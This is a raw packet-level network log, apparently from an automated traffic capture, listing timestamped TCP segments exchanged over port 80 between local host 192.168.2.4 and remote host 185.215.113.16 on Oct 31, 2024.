Oct 31, 2024 20:52:07.561923027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561947107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561958075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.561961889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561978102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.561983109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.561990976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562021971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562035084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562050104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562063932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562077045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562078953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562093973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562098026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562105894 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562108040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562123060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562134027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562158108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562170982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562180996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562186956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562201023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562216997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562216997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562231064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562233925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562243938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562268972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562277079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562311888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562328100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562342882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562356949 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562360048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562374115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562376976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562388897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562407017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562408924 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562427044 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562450886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562460899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562483072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562490940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562504053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562529087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562573910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562589884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562604904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562613010 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562622070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562640905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562644005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562673092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562695026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562695026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562711954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562727928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562743902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562752962 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562758923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562774897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562777042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562808990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562832117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562839031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562855005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562871933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562887907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562890053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562900066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562902927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.562918901 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562938929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.562957048 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563143015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563159943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563190937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563196898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563209057 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563232899 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563237906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563255072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563268900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563287020 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563287973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563298941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563323021 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563344002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563368082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563405991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563416004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563421011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563436031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563450098 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563453913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563468933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563484907 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563489914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563504934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563505888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563533068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563539028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563546896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563576937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563592911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563596010 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563622952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563641071 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563644886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563663006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563694000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563694000 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563704014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563719034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563726902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563735008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563754082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563760996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563781023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563783884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563801050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563816071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563824892 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563832045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.563844919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.563874960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608361959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608427048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608442068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608458042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608473063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608551025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608589888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608617067 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608623981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608645916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608669996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608681917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608880997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608897924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608912945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608930111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608935118 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.608948946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.608973026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609334946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609384060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609719038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609733105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609767914 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609828949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609843969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609860897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609872103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609878063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609889030 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609903097 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609924078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609940052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.609945059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609963894 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.609980106 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613051891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613070011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613086939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613106966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613131046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613328934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613373041 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613400936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613416910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613431931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613441944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613447905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613459110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613476992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613476992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613492966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613497019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613507986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613512993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613524914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613529921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613540888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613544941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613557100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613565922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613583088 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613589048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613605022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613607883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613620043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613626003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613635063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613641977 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613651991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613666058 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613673925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613683939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613689899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613699913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613707066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613714933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613723040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613730907 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613738060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613748074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613832951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613936901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613955975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613971949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.613985062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.613986015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614006996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614027023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614068985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614084005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614114046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614118099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614134073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614162922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614166021 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614180088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614200115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614209890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614219904 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614228010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614240885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614247084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614257097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614264965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614274025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614281893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614300966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614315033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614361048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614375114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614389896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614404917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614407063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614428043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614442110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614475012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614490986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614506006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614517927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614522934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614536047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614550114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614561081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614566088 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614598989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614670992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614712954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614804983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614820957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614836931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614849091 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614851952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.614866972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614881992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.614897013 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.775059938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775079966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775098085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775126934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775141954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775156975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775172949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775190115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775206089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775304079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.775304079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.775304079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.775345087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775388002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.775871992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775887966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775902987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.775927067 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.775950909 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.776163101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.776181936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.776195049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.776207924 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.776216030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.776231050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.776231050 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.776246071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.776252985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.776269913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.776289940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779550076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779566050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779582024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779599905 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779625893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779625893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779638052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779653072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779675961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779681921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779696941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779699087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779711962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779716015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779726982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779751062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779755116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779755116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779778004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779779911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779795885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779800892 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779810905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779823065 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779834986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779859066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779881954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779896975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779911041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779927969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.779937983 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779968023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.779979944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780002117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780019045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780034065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780035973 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780051947 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780078888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780107975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780122995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780138016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780150890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780153990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780164957 CET	49734	80	192.168.2.4	185.215.113.16
